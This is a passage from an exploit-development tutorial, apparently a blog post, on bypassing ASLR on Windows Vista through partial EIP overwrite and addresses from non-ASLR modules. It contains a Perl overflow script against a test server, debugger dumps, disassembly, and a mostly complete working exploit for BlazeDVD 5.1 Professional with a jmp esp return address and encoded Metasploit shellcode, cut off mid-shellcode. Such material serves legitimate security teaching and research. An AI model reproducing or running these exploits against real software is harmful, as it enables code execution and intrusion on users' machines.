DllCharacteristics field contains 0x40 in order to determine whether it is ASLR aware or not).<\/p>\n<p>There is a registry hack to enable ASLR for all images\/applications :<\/p>\n<p>Edit HKLM\\SYSTEM\\CurrentControlSet\\Control\\Session Manager\\Memory Management\\ and add a new key called \u201cMoveImages\u201d (DWORD)<\/p>\n<p>Possible values :<\/p>\n<p>0 : never randomize image bases in memory, always honor the base address specified in the PE header.<\/p>\n<p>-1 : randomize all relocatable images regardless of whether they have the IMAGE_DLL_CHARACTERISTICS_DYNAMIC_BASE flag or not.<\/p>\n<p>any other value : randomize only images that have relocation information and are explicitly marked as compatible with ASLR by setting the IMAGE_DLL_CHARACTERISTICS_DYNAMIC_BASE (0x40) flag in DllCharacteristics field the PE header. This is the default behaviour.<\/p>\n<p>In order to be effective, ASLR should be accompanied by DEP (and vice versa)<\/p>\n<p>Because of ASLR, even if you can build an exploit on Vista (stack overflow with direct ret overwrite, or seh based exploit), using an address from one of the dll\u2019s, there\u2019s a huge chance that the exploit will only work until the computer reboots. After the reboot, randomization is applied, and your jump address will not be valid anymore.<\/p>\n<p>There are a couple of techniques to bypass ASLR. I\u2019ll discuss the techniques that use partial overwrite or uses addresses from non-ASLR enabled modules. I\u2019m not going to discuss techniques that use the heap as bypass vehicle, or that try to predict the randomization, or use bruteforce techniques.<\/p>\n<h3>Bypassing ASLR : partial EIP overwrite<\/h3>\n<p>This technique was used in the famous Animated Cursor Handling Vulnerability Exploit (MS Advisory 935423) from march 2007, discovered by Alex Sotirov. The following links explain how this bug was found and exploited : http:\/\/archive.codebreakers-journal.com\/content\/view\/284\/27\/ - ani-notes.pdf - <a title=\"http:\/\/www.phreedom.org\/research\/vulnerabilities\/ani-header\/\" href=\"http:\/\/www.phreedom.org\/research\/vulnerabilities\/ani-header\/\">http:\/\/www.phreedom.org\/research\/vulnerabilities\/ani-header\/<\/a> and <a title=\"Metasploit- Exploiting the ANI vulnerability on Vista\" href=\"http:\/\/blog.metasploit.com\/2007\/04\/exploiting-ani-vulnerability-on-vista.html\">Metasploit- Exploiting the ANI vulnerability on Vista<\/a><\/p>\n<p>This particular exploit was believed to be the first exploit that bypasses ASLR on Vista (and, while breaking protection mechanisms, also bypasses \/GS - well, in fact, because the ANI header data is read into a structure, there was no stack cookie :-)).<\/p>\n<p>The idea behind this technique is quite clever. ASLR will randomize only part of the address. If you look at the base addresses of the loaded modules after rebooting your Vista box, you\u2019ll notice that only the high order bytes of an address are randomized. When an address is saved in memory, take for example 0x12345678, it is stored like this :<\/p>\n<pre style=\"overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; width: 650px; border-bottom: #cecece 1px solid; padding-bottom: 5px; padding-top: 5px; padding-left: 5px; min-height: 40px; border-left: #cecece 1px solid; padding-right: 5px; background-color: #f0f0f0\">LOW   HIGH\n87 65 43 21<\/pre>\n<p>When ASLR is enabled, Only \u201c43\u201d and \u201c21\u201d would be randomized. Under certain circumstances, this could allow a hacker to exploit \/ trigger arbitrary code execution.<\/p>\n<p>Imagine you are exploiting a bug that allows you to overwrite saved EIP. The original saved EIP is placed on the stack by the operating system. If ASLR is enabled, the correct ASLR randomized address will be placed on the stack. Let\u2019s say saved EIP is 0x12345678 (where 0x1234 is the randomized part of the address, and 5678 points to the actual saved EIP). What if we could find some interesting code (such as jump esp, or something else useful) in the addres space 0x1234XXXX (where 1234 is randomized, but hey - the OS has already put those bytes on the stack)? We only need to find interesting code within the scope of the low bytes and replaced these low bytes with the corresponding bytes pointing to the address of our interesting code.<\/p>\n<p>Let\u2019s look at the following example : open notepad.exe in a debugger (Vista Business, SP2, English) and look at the base address of the loaded modules :<\/p>\n<p><a href=\"\/wp-content\/uploads\/2009\/09\/image56.png\" target=\"_blank\" rel=\"noopener\"><img loading=\"lazy\" decoding=\"async\" title=\"image\" style=\"border-left-width: 0px; border-right-width: 0px; border-bottom-width: 0px; display: inline; border-top-width: 0px\" border=\"0\" alt=\"image\" src=\"\/wp-content\/uploads\/2009\/09\/image_thumb56.png\" width=\"532\" height=\"225\" \/><\/a><\/p>\n<p>Reboot and perform the same action again :<\/p>\n<p><a href=\"\/wp-content\/uploads\/2009\/09\/image57.png\" target=\"_blank\" rel=\"noopener\"><img loading=\"lazy\" decoding=\"async\" title=\"image\" style=\"border-left-width: 0px; border-right-width: 0px; border-bottom-width: 0px; display: inline; border-top-width: 0px\" border=\"0\" alt=\"image\" src=\"\/wp-content\/uploads\/2009\/09\/image_thumb57.png\" width=\"534\" height=\"220\" \/><\/a><\/p>\n<p>The 2 high bytes of these base addresses are randomized. So every time you want to use an address from these modules, for whatever reason (jmp to a register, or pop pop ret, or anything else), you cannot simply rely on the address found in these modules, because it will change after a reboot.<\/p>\n<p>Now do the same with the vulnsrv.exe application (we have used this application 2 times already in this post, so you should now what application I am talking about) :<\/p>\n<p><a href=\"\/wp-content\/uploads\/2009\/09\/image58.png\" target=\"_blank\" rel=\"noopener\"><img loading=\"lazy\" decoding=\"async\" title=\"image\" style=\"border-left-width: 0px; border-right-width: 0px; border-bottom-width: 0px; display: inline; border-top-width: 0px\" border=\"0\" alt=\"image\" src=\"\/wp-content\/uploads\/2009\/09\/image_thumb58.png\" width=\"527\" height=\"151\" \/><\/a><\/p>\n<p>After a reboot :<\/p>\n<p><a href=\"\/wp-content\/uploads\/2009\/09\/image59.png\" target=\"_blank\" rel=\"noopener\"><img loading=\"lazy\" decoding=\"async\" title=\"image\" style=\"border-left-width: 0px; border-right-width: 0px; border-bottom-width: 0px; display: inline; border-top-width: 0px\" border=\"0\" alt=\"image\" src=\"\/wp-content\/uploads\/2009\/09\/image_thumb59.png\" width=\"528\" height=\"205\" \/><\/a><\/p>\n<p>So even the base address of our custom application got changed. (Because it was compiled under VC++ 2008, which has the \/dynamicbase linker flag set by default).<\/p>\n<p><a href=\"\/wp-content\/uploads\/2009\/09\/image60.png\" target=\"_blank\" rel=\"noopener\"><img loading=\"lazy\" decoding=\"async\" title=\"image\" style=\"border-left-width: 0px; border-right-width: 0px; border-bottom-width: 0px; display: inline; border-top-width: 0px\" border=\"0\" alt=\"image\" src=\"\/wp-content\/uploads\/2009\/09\/image_thumb60.png\" width=\"535\" height=\"240\" \/><\/a><\/p>\n<p>The !ASLRdynamicbase pycommand in ImmDbg will show the ASLR awareness of the executable binaries\/loaded modules :<\/p>\n<p><a href=\"\/wp-content\/uploads\/2009\/09\/image62.png\" target=\"_blank\" rel=\"noopener\"><img loading=\"lazy\" decoding=\"async\" title=\"image\" style=\"border-left-width: 0px; border-right-width: 0px; border-bottom-width: 0px; display: inline; border-top-width: 0px\" border=\"0\" alt=\"image\" src=\"\/wp-content\/uploads\/2009\/09\/image_thumb62.png\" width=\"533\" height=\"286\" \/><\/a><\/p>\n<p>Compile this application without GS and run it in Vista (without HW DEP\/NX). We already know that, after sending 508 bytes to the application, we can overwrite saved EIP. Using a debugger (by setting a breakpoint on calling function pr(), we find out that saved EIP contains something like 0x011e1293 before it got overwritten. (where 0x011e is randomized, but the low bits &quot;1293&quot; should be the same across reboots<\/p>\n<p><a href=\"\/wp-content\/uploads\/2009\/09\/image61.png\" target=\"_blank\" rel=\"noopener\"><img loading=\"lazy\" decoding=\"async\" title=\"image\" style=\"border-left-width: 0px; border-right-width: 0px; border-bottom-width: 0px; display: inline; border-top-width: 0px\" border=\"0\" alt=\"image\" src=\"\/wp-content\/uploads\/2009\/09\/image_thumb61.png\" width=\"703\" height=\"289\" \/><\/a><\/p>\n<p>So when using the following exploit code :<\/p>\n<pre style=\"overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; width: 650px; border-bottom: #cecece 1px solid; padding-bottom: 5px; padding-top: 5px; padding-left: 5px; min-height: 40px; border-left: #cecece 1px solid; padding-right: 5px; background-color: #f0f0f0\"><span style=\"color: #0000ff\">use<\/span> strict;\n<span style=\"color: #0000ff\">use<\/span> Socket;\n<span style=\"color: #0000ff\">my<\/span> $junk = &quot;<span style=\"color: #8b0000\">A<\/span>&quot; x 508;\n<span style=\"color: #0000ff\">my<\/span> $eipoverwrite = &quot;<span style=\"color: #8b0000\">BBBB<\/span>&quot;;\n# initialize host and port\n<span style=\"color: #0000ff\">my<\/span> $host = <span style=\"color: #0000ff\">shift<\/span> || 'localhost';\n<span style=\"color: #0000ff\">my<\/span> $port = <span style=\"color: #0000ff\">shift<\/span> || 200;\n<span style=\"color: #0000ff\">my<\/span> $proto = <span style=\"color: #0000ff\">getprotobyname<\/span>('tcp');\n# get the port address\n<span style=\"color: #0000ff\">my<\/span> $iaddr = inet_aton($host);\n<span style=\"color: #0000ff\">my<\/span> $paddr = sockaddr_in($port, $iaddr);\n<span style=\"color: #0000ff\">print<\/span> &quot;<span style=\"color: #8b0000\">[+] Setting up socket\\n<\/span>&quot;;\n# create the <span style=\"color: #0000ff\">socket<\/span>, <span style=\"color: #0000ff\">connect<\/span> to the port\n<span style=\"color: #0000ff\">socket<\/span>(SOCKET, PF_INET, SOCK_STREAM, $proto) or <span style=\"color: #0000ff\">die<\/span> &quot;<span style=\"color: #8b0000\">socket: $!<\/span>&quot;;\n<span style=\"color: #0000ff\">print<\/span> &quot;<span style=\"color: #8b0000\">[+] Connecting to $host on port $port\\n<\/span>&quot;;\n<span style=\"color: #0000ff\">connect<\/span>(SOCKET, $paddr) or <span style=\"color: #0000ff\">die<\/span> &quot;<span style=\"color: #8b0000\">connect: $!<\/span>&quot;;\n<span style=\"color: #0000ff\">print<\/span> &quot;<span style=\"color: #8b0000\">[+] Sending payload\\n<\/span>&quot;;\n<span style=\"color: #0000ff\">print<\/span> SOCKET $junk.$eipoverwrite.&quot;<span style=\"color: #8b0000\">\\n<\/span>&quot;;\n<span style=\"color: #0000ff\">print<\/span> &quot;<span style=\"color: #8b0000\">[+] Payload sent\\n<\/span>&quot;;\n<span style=\"color: #0000ff\">close<\/span> SOCKET or <span style=\"color: #0000ff\">die<\/span> &quot;<span style=\"color: #8b0000\">close: $!<\/span>&quot;;<\/pre>\n<p>the registers &amp; stack looks like this after EIP was overwritten :<\/p>\n<pre style=\"overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; width: 650px; border-bottom: #cecece 1px solid; padding-bottom: 5px; padding-top: 5px; padding-left: 5px; min-height: 40px; border-left: #cecece 1px solid; padding-right: 5px; background-color: #f0f0f0\">(f90.928): Access violation - code c0000005 (first chance)\nFirst chance exceptions are reported before any exception handling.\nThis exception may be expected and handled.\neax=0018e23a ebx=00000000 ecx=0018e032 edx=0018e200 esi=00000001 edi=011e3388\neip=42424242 esp=0018e030 ebp=41414141 iopl=0         nv up ei pl zr na pe nc\ncs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010246\n42424242 ??              ???\n\n0:000&gt; d ecx\n0018e032  18 00 00 00 00 00 41 41-41 41 41 41 41 41 41 41  ......AAAAAAAAAA\n0018e042  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA\n0018e052  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA\n0018e062  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA\n0018e072  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA\n0018e082  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA\n0018e092  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA\n0018e0a2  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA\n\n0:000&gt; d edx\n0018e200  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA\n0018e210  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA\n0018e220  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA\n0018e230  41 41 41 41 42 42 42 42-0a 00 00 00 00 00 00 00  AAAABBBB........\n0018e240  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................\n0018e250  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................\n0018e260  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................\n0018e270  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................\n\n0:000&gt; d esp\n0018e030  0a 00 18 00 00 00 00 00-41 41 41 41 41 41 41 41  ........AAAAAAAA\n0018e040  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA\n0018e050  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA\n0018e060  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA\n0018e070  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA\n0018e080  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA\n0018e090  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA\n0018e0a0  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA<\/pre>\n<p>Normally, when we get this, we would probably look for a jump edx instruction and overwrite EIP with the address of jmp edx. (and then use some backwards jumpcode to get to the beginning of the shellcode), or push ebp\/ret\u2026 But we know that we cannot just overwrite EIP due to ASLR. The only thing we could do is try to find something that will do a jmp edx or push ebp\/ret inside the address range of 0x011eXXXX - which is the saved EIP before the BOF occurs), and then only overwrite the 2 low bytes of saved EIP instead of overwriting saved EIP entirely. In this example, no such instruction exists.<\/p>\n<p>There is a second issue with this example. Even if a usable instruction like that exists, you would notice that overwriting the 2 low bytes would not work because when you overwrite the 2 low bytes, a string terminator (00 - null bytes) are added, overwriting half of the high bytes as well\u2026 So the exploit would only work if you can find an address that will do the jmp edx\/\u2026 in the address space 0x011e00<strong>XX.<\/strong> And that limits us to a maximum of 255 addresses in the 0x011e range :<\/p>\n<pre style=\"overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; width: 650px; border-bottom: #cecece 1px solid; padding-bottom: 5px; padding-top: 5px; padding-left: 5px; min-height: 40px; border-left: #cecece 1px solid; padding-right: 5px; background-color: #f0f0f0\">011E1000  \/$ 55             <span style=\"color: #0000ff\">PUSH<\/span> EBP\n011E1001  |. 8BEC           MOV EBP,ESP\n011E1003  |. 81EC 08020000  SUB ESP,208\n011E1009  |. A0 1421CD00    MOV AL,BYTE PTR DS:[CD2114]\n011E100E  |. 8885 08FEFFFF  MOV BYTE PTR SS:[EBP-1F8],AL\n011E1014  |. 68 F3010000    <span style=\"color: #0000ff\">PUSH<\/span> 1F3                                 ; \/n = 1F3 (499.)\n011E1019  |. 6A 00          <span style=\"color: #0000ff\">PUSH<\/span> 0                                   ; |c = 00\n011E101B  |. 8D8D 09FEFFFF  LEA ECX,DWORD PTR SS:[EBP-1F7]           ; |\n011E1021  |. 51             <span style=\"color: #0000ff\">PUSH<\/span> ECX                                 ; |s\n011E1022  |. E8 C30A0000    CALL &lt;JMP.&amp;MSVCR90.memset&gt;               ; \\memset\n011E1027  |. 83C4 0C        ADD ESP,0C\n011E102A  |. 8B55 08        MOV EDX,DWORD PTR SS:[EBP+8]\n011E102D  |. 8995 04FEFFFF  MOV DWORD PTR SS:[EBP-1FC],EDX\n011E1033  |. 8D85 08FEFFFF  LEA EAX,DWORD PTR SS:[EBP-1F8]\n011E1039  |. 8985 00FEFFFF  MOV DWORD PTR SS:[EBP-200],EAX\n011E103F  |. 8B8D 00FEFFFF  MOV ECX,DWORD PTR SS:[EBP-200]\n011E1045  |. 898D FCFDFFFF  MOV DWORD PTR SS:[EBP-204],ECX\n011E104B  |&gt; 8B95 04FEFFFF  \/MOV EDX,DWORD PTR SS:[EBP-1FC]\n011E1051  |. 8A02           |MOV AL,BYTE PTR DS:[EDX]\n011E1053  |. 8885 FBFDFFFF  |MOV BYTE PTR SS:[EBP-205],AL\n011E1059  |. 8B8D 00FEFFFF  |MOV ECX,DWORD PTR SS:[EBP-200]\n011E105F  |. 8A95 FBFDFFFF  |MOV DL,BYTE PTR SS:[EBP-205]\n011E1065  |. 8811           |MOV BYTE PTR DS:[ECX],DL\n011E1067  |. 8B85 04FEFFFF  |MOV EAX,DWORD PTR SS:[EBP-1FC]\n011E106D  |. 83C0 01        |ADD EAX,1\n011E1070  |. 8985 04FEFFFF  |MOV DWORD PTR SS:[EBP-1FC],EAX\n011E1076  |. 8B8D 00FEFFFF  |MOV ECX,DWORD PTR SS:[EBP-200]\n011E107C  |. 83C1 01        |ADD ECX,1\n011E107F  |. 898D 00FEFFFF  |MOV DWORD PTR SS:[EBP-200],ECX\n011E1085  |. 80BD FBFDFFFF &gt;|CMP BYTE PTR SS:[EBP-205],0\n011E108C  |.^75 BD          \\JNZ SHORT vulnsrv.011E104B\n011E108E  |. 8BE5           MOV ESP,EBP\n011E1090  |. 5D             <span style=\"color: #0000ff\">POP<\/span> EBP\n011E1091  \\. C3             RETN\n011E1092     CC             INT3\n011E1093     CC             INT3\n011E1094     CC             INT3\n011E1095     CC             INT3\n011E1096     CC             INT3\n011E1097     CC             INT3\n011E1098     CC             INT3\n011E1099     CC             INT3\n011E109A     CC             INT3\n011E109B     CC             INT3\n011E109C     CC             INT3\n011E109D     CC             INT3\n011E109E     CC             INT3\n011E109F     CC             INT3\n011E10A0  \/$ 55             <span style=\"color: #0000ff\">PUSH<\/span> EBP\n011E10A1  |. 8BEC           MOV EBP,ESP\n011E10A3  |. 8B45 08        MOV EAX,DWORD PTR SS:[EBP+8]\n011E10A6  |. 50             <span style=\"color: #0000ff\">PUSH<\/span> EAX                                 ; \/&lt;%s&gt;\n011E10A7  |. 68 1821CD00    <span style=\"color: #0000ff\">PUSH<\/span> vulnsrv.011E2118                    ; |<span style=\"color: #0000ff\">format<\/span> = &quot;<span style=\"color: #8b0000\">Error %s<\/span>&quot;\n011E10AC  |. FF15 A020CD00  CALL DWORD PTR DS:[&lt;&amp;MSVCR90.<span style=\"color: #0000ff\">printf<\/span>&gt;]    ; \\<span style=\"color: #0000ff\">printf<\/span>\n011E10B2  |. 83C4 08        ADD ESP,8\n011E10B5  |. E8 FA090000    CALL &lt;JMP.&amp;WSOCK32.#116&gt;                 ; [WSACleanup\n011E10BA  |. 5D             <span style=\"color: #0000ff\">POP<\/span> EBP\n011E10BB  \\. C3             RETN\n011E10BC     CC             INT3\n011E10BD     CC             INT3\n011E10BE     CC             INT3\n011E10BF     CC             INT3\n011E10C0  \/$ 55             <span style=\"color: #0000ff\">PUSH<\/span> EBP\n011E10C1  |. 8BEC           MOV EBP,ESP\n011E10C3  |. B8 141D0000    MOV EAX,1D14\n011E10C8  |. E8 230A0000    CALL vulnsrv.011E1AF0\n011E10CD  |. A0 1521CD00    MOV AL,BYTE PTR DS:[CD2115]\n011E10D2  |. 8885 F0E2FFFF  MOV BYTE PTR SS:[EBP-1D10],AL\n011E10D8  |. 68 87130000    <span style=\"color: #0000ff\">PUSH<\/span> 1387                                ; \/n = 1387 (4999.)\n011E10DD  |. 6A 00          <span style=\"color: #0000ff\">PUSH<\/span> 0                                   ; |c = 00\n011E10DF  |. 8D8D F1E2FFFF  LEA ECX,DWORD PTR SS:[EBP-1D0F]          ; |\n011E10E5  |. 51             <span style=\"color: #0000ff\">PUSH<\/span> ECX                                 ; |s\n011E10E6  |. E8 FF090000    CALL &lt;JMP.&amp;MSVCR90.memset&gt;               ; \\memset\n011E10EB  |. 83C4 0C        ADD ESP,0C\n011E10EE  |. 8A15 1621CD00  MOV DL,BYTE PTR DS:[CD2116]\n011E10F4  |. 8895 78F6FFFF  MOV BYTE PTR SS:[EBP-988],DL\n011E10FA  |. 68 CF070000    <span style=\"color: #0000ff\">PUSH<\/span> 7CF                                 ; \/n = 7CF (1999.)\n011E10FF  |. 6A 00          <span style=\"color: #0000ff\">PUSH<\/span> 0                                   ; |c = 00<\/pre>\n<h3>Bypassing ASLR : using an address from a non-ASLR enabled module<\/h3>\n<p>A second technique that can be used to bypass ASLR is to find a module that does not randomize addresses. This technique is somewhat similar to one of the methods to bypass SafeSEH : use an address from a module that is not safeseh (or ASLR in this case) enabled. I know, some people may argue that this is not really \u201cbypassing\u201d the restriction\u2026 but hey - it works and it allows for building stable exploits.<\/p>\n<p>In certain cases (in fact in a lot of cases), the executable binaries (and sometimes some of the loaded modules) are not ASLR aware\/enabled. That means that you could potentially use addresses\/pointers from those binaries\/modules in order to jump to shellcode, because those addresses will most likely not get randomized. In the case of the executable binary : the base address for these binaries often start with a null byte. So that means that even if you can find an address that will jump to your shellcode, you\u2019ll need to deal with the null byte. This may or may not be a problem, depending on the stack layout and the contents of the registers when the BOF occurs.<\/p>\n<p>Let\u2019s have a look at a vulnerability that was discovered in august 2009 : <a href=\"http:\/\/www.milw0rm.com\/exploits\/9329\">http:\/\/www.milw0rm.com\/exploits\/9329<\/a>. This exploit shows a BOF vulnerability in BlazeDVD 5.1 Professional, triggered by opening a malicious plf file. The vulnerability can be exploited by overwriting the SEH structure.<\/p>\n<p>You can download a local copy of this vulnerable application here :&#160; [download id=40]<\/p>\n<p>Now let\u2019s see if we can build a reliable exploit for Vista for this particular vulnerability.<\/p>\n<p>Start by determining how far we need to write in order to hit the SE structure. After doing some simple tests, we find that we need an offset of 608 bytes to overwrite SEH :<\/p>\n<pre style=\"overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; width: 650px; border-bottom: #cecece 1px solid; padding-bottom: 5px; padding-top: 5px; padding-left: 5px; min-height: 40px; border-left: #cecece 1px solid; padding-right: 5px; background-color: #f0f0f0\"><span style=\"color: #0000ff\">my<\/span> $sploitfile=&quot;<span style=\"color: #8b0000\">blazesploit.plf<\/span>&quot;;\n<span style=\"color: #0000ff\">print<\/span> &quot;<span style=\"color: #8b0000\">[+] Preparing payload\\n<\/span>&quot;;\n<span style=\"color: #0000ff\">my<\/span> $junk = &quot;<span style=\"color: #8b0000\">A<\/span>&quot; x 608;\n$junk = $junk.&quot;<span style=\"color: #8b0000\">BBBBCCCC<\/span>&quot;;\n$payload =$junk;\n<span style=\"color: #0000ff\">print<\/span> &quot;<span style=\"color: #8b0000\">[+] Writing exploit file $sploitfile\\n<\/span>&quot;;\n<span style=\"color: #0000ff\">open<\/span> ($FILE,&quot;<span style=\"color: #8b0000\">&gt;$sploitfile<\/span>&quot;);\n<span style=\"color: #0000ff\">print<\/span> $FILE $payload;\n<span style=\"color: #0000ff\">close<\/span>($FILE);\n<span style=\"color: #0000ff\">print<\/span> &quot;<span style=\"color: #8b0000\">[+] <\/span>&quot;.<span style=\"color: #0000ff\">length<\/span>($payload).&quot;<span style=\"color: #8b0000\"> bytes written to file\\n<\/span>&quot;;<\/pre>\n<p><a href=\"\/wp-content\/uploads\/2009\/09\/image63.png\" target=\"_blank\" rel=\"noopener\"><img loading=\"lazy\" decoding=\"async\" title=\"image\" style=\"border-left-width: 0px; border-right-width: 0px; border-bottom-width: 0px; display: inline; border-top-width: 0px\" border=\"0\" alt=\"image\" src=\"\/wp-content\/uploads\/2009\/09\/image_thumb63.png\" width=\"575\" height=\"288\" \/><\/a><\/p>\n<p>Ok, it looks like we have 2 ways of exploiting this one : either via direct RET overwrite (EIP=41414141) or via SEH based (SEH chain : SE Handler = 43434343 (next SEH = 42424242)). ESP points to our buffer.<\/p>\n<p>When looking at the ASLR awareness state table (!ASLRdynamicbase), we see this :<\/p>\n<p><a href=\"\/wp-content\/uploads\/2009\/09\/image66.png\" target=\"_blank\" rel=\"noopener\"><img loading=\"lazy\" decoding=\"async\" title=\"image\" style=\"border-left-width: 0px; border-right-width: 0px; border-bottom-width: 0px; display: inline; border-top-width: 0px\" border=\"0\" alt=\"image\" src=\"\/wp-content\/uploads\/2009\/09\/image_thumb66.png\" width=\"313\" height=\"330\" \/><\/a><\/p>\n<p>Wow - a lot of the modules seem to be not ASLR aware. That means that we should be able to use addresses from those modules to make our jumps. Unfortunately, the output of that ASLRdynamicbase script is not reliable. Take note of the modules without ASLR and reboot the system. Run the command again and compare the new list with the old list. That should give you a better idea on which modules can be used. In this scenario, you\u2019ll go back from a list of 23 to a list of 7 (which is still not too bad, isn\u2019t it):<\/p>\n<p>BlazeDVD.exe (0x00400000), skinscrollbar.dll (0x10000000), configuration.dll (0x60300000), epg.dll (0x61600000) , mediaplayerctrl.dll (0x64000000) , netreg.dll (0x64100000) , versioninfo.dll (0x67000000)<\/p>\n<h4>Bypass ASLR (direct RET overwrite)<\/h4>\n<p>In case of a <strong><span style=\"text-decoration: underline\">direct RET overwrite<\/span><\/strong>, we overwrite EIP after offset 260 , and a jmp esp (or call esp or push esp\/ret) would do the trick.<\/p>\n<p>Possible jump addresses could be :<\/p>\n<p>* blazedvd.exe : 79 addresses (but null bytes !)<\/p>\n<p>* skinscrollbar.dll : 0 addresses<\/p>\n<p>* configuration.dll : 2 addresses, no null bytes<\/p>\n<p>* epg.dll : 20 addresses, no null bytes<\/p>\n<p>* mediaplayerctrl.dll : 15 addresses, 8 with null bytes<\/p>\n<p>* netreg.dll : 3 addresses, no null bytes<\/p>\n<p>* versioninfo.dll : 0 addresses <\/p>\n<p>EIP gets overwritten after 260 characters, so a reliably working exploit would look like this :<\/p>\n<pre style=\"overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; width: 650px; border-bottom: #cecece 1px solid; padding-bottom: 5px; padding-top: 5px; padding-left: 5px; min-height: 40px; border-left: #cecece 1px solid; padding-right: 5px; background-color: #f0f0f0\"><span style=\"color: #0000ff\">my<\/span> $sploitfile=&quot;<span style=\"color: #8b0000\">blazesploit.plf<\/span>&quot;;\n<span style=\"color: #0000ff\">print<\/span> &quot;<span style=\"color: #8b0000\">[+] Preparing payload\\n<\/span>&quot;;\n<span style=\"color: #0000ff\">my<\/span> $junk = &quot;<span style=\"color: #8b0000\">A<\/span>&quot; x 260;\n<span style=\"color: #0000ff\">my<\/span> $ret = <span style=\"color: #0000ff\">pack<\/span>('V',0x6033b533);  #jmp esp from configuration.dll\n<span style=\"color: #0000ff\">my<\/span> $nops = &quot;<span style=\"color: #8b0000\">\\x90<\/span>&quot; x 30;\n# windows\/<span style=\"color: #0000ff\">exec<\/span> - 302 bytes\n# http:<span style=\"color: #008000\">\/\/www.metasploit.com<\/span>\n# Encoder: x86\/alpha_upper\n# EXITFUNC=seh, CMD=calc\n<span style=\"color: #0000ff\">my<\/span> $shellcode=&quot;<span style=\"color: #8b0000\">\\x89\\xe3\\xdb\\xc2\\xd9\\x73\\xf4\\x59\\x49\\x49\\x49\\x49\\x49\\x43<\/span>&quot; .\n&quot;<span style=\"color: #8b0000\">\\x43\\x43\\x43\\x43\\x43\\x51\\x5a\\x56\\x54\\x58\\x33\\x30\\x56\\x58<\/span>&quot; .\n&quot;<span style=\"color: #8b0000\">\\x34\\x41\\x50\\x30\\x41\\x33\\x48\\x48\\x30\\x41\\x30\\x30\\x41\\x42<\/span>&quot; .\n&quot;<span style=\"color: #8b0000\">\\x41\\x41\\x42\\x54\\x41\\x41\\x51\\x32\\x41\\x42\\x32\\x42\\x42\\x30<\/span>&quot; .\n&quot;<span style=\"color: #8b0000\">\\x42\\x42\\x58\\x50\\x38\\x41\\x43\\x4a\\x4a\\x49\\x4b\\x4c\\x4b\\x58<\/span>&quot; .\n&quot;<span style=\"color: #8b0000\">\\x51\\x54\\x43\\x30\\x45\\x50\\x45\\x50\\x4c\\x4b\\x47\\x35\\x47\\x4c<\/span>&quot; .\n&quot;<span style=\"color: #8b0000\">\\x4c\\x4b\\x43\\x4c\\x43\\x35\\x44\\x38\\x43\\x31\\x4a\\x4f\\x4c\\x4b<\/span>&quot; .\n&quot;<span style=\"color: #8b0000\">\\x50\\x4f\\x44\\x58\\x4c\\x4b\\x51\\x4f\\x47\\x50\\x45\\x51\\x4a\\x4b<\/span>&quot; .\n&quot;<span style=\"color: #8b0000\">\\x50\\x49\\x4c\\x4b\\x46\\x54\\x4c\\x4b\\x45\\x51\\x4a\\x4e\\x50\\x31<\/span>&quot; .\n&quot;<span style=\"color: #8b0000\">\\x49\\x50\\x4c\\x59\\x4e\\x4c\\x4c\\x44\\x49\\x50\\x44\\x34\\x45\\x57<\/span>&quot; .\n&quot;<span style=\"color: #8b0000\">\\x49\\x51\\x49\\x5a\\x44\\x4d\\x43\\x31\\x49\\x52\\x4a\\x4b\\x4b\\x44<\/span>&quot; .\n&quot;<span style=\"color: #8b0000\">\\x47\\x4b\\x50\\x54\\x47\\x54\\x45\\x54\\x43\\x45\\x4a\\x45\\x4c\\x4b<\/span>&quot; .\n&quot;<span style=\"color: #8b0000\">\\x51\\x4f\\x46\\x44\\x45\\x51\\x4a\\x4b\\x45\\x36\\x4c\\x4b\\x44\\x4c<\/span>&quot; .\n&quot;<span style=\"color: #8b0000\">\\x50\\x4b\\x4c\\x4b\\x51\\x4f\\x45\\x4c\\x43\\x31\\x4a\\x4b\\x4c\\x4b<\/span>&quot; .\n&quot;<span style=\"color: #8b0000\">\\x45\\x4c\\x4c\\x4b\\x43\\x31\\x4a\\x4b\\x4d\\x59\\x51\\x4c\\x46\\x44<\/span>&quot; .\n&quot;<span style=\"color: #8b0000\">\\x43\\x34\\x49\\x53\\x51\\x4f\\x46\\x51\\x4b\\x46\\x43\\x50\\x46\\x36<\/span>&quot; .\n&quot;<span style=\"color: #8b0000\">\\x45\\x34\\x4c\\x4b\\x50\\x46\\x50\\x30\\x4c\\x4b\\x51\\x50\\x44\\x4c<\/span>&quot; .\n&quot;<span style=\"color: 